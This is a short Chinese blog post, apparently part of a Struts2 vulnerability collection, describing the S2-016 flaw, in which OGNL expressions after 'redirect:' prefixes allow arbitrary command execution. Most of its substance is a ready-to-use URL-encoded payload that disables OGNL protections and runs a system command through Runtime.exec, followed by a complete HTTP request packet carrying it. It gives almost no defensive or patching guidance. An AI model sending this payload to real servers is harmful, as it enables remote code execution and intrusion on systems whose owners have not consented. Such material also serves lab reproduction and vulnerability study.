java struts2框架漏洞合集
2024-10-21 13:43:59
struts2 s2-016
参考:https://github.com/vulhub/vulhub/blob/master/struts2/s2-016/README.zh-cn.md
DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令
payload
执行系统命令:ls /usr
redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22ls%20/usr%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
数据包
GET /index.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22ls%20/usr%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
Host: xxx.xxxx.xxx.xxx:8080
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat
content-type: application/json;charset=utf-8
Accept-Encoding: gzip, deflate
返回结果
最新文章
- Linux 基础命令
- Linux如何搜索查找文件里面内容
- 使用 T-SQL 计算当日日期、本周第一天与最后一天
- hdu1051 Wooden Sticks
- eclipse报错 com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil 转
- Swift中构造器的继承和重写
- LeetCode OJ 153. Find Minimum in Rotated Sorted Array
- 剑指Offer——中国银行面试知识储备
- react-native添加react-native-vector-icons插件android遇到的问题
- 远程桌面访问linux
- python中的命名元组namedtuple
- 校园网ipv6连接问题
- [Luogu 3707] SDOI2017 相关分析
- HDU.1847 Good Luck in CET-4 Everybody! ( 博弈论 SG分析)
- 多核CPU上python多线程并行的一个假象
- 关于一些对location认识的误区
- HDU 2665 Kth number(可持续化线段树)
- c++分块算法(暴力数据结构)
- 【LG2495】[SDOI2011]消耗战
- CTSC/APIO2018 帝都一周游
热门文章
- Python + logging 控制台有日志输出,但日志文件中数据为空
- python 之用户自定义函数
- Django TypeError at /login/ 'bool' object is not callable
- JDBC基础学习笔记
- Flutter异常监控 - 贰 | 框架Catcher原理分析
- 刷题笔记——2758.打印ASCII码 &; 2759.打印字符
- 移动端安卓开发学习记录--Android Studio打断点调试操作步骤记录
- flutter 1.升级2.X在模型类中序列化JSON报错Non-nullable instance field 'title' must be initialized.
- 在Typescript项目中,使用ESLint和Prettier,以及解决保存代码后ESLint配置冲突问题
- 性能浪费的日志案例-使用Lambda优化日志案例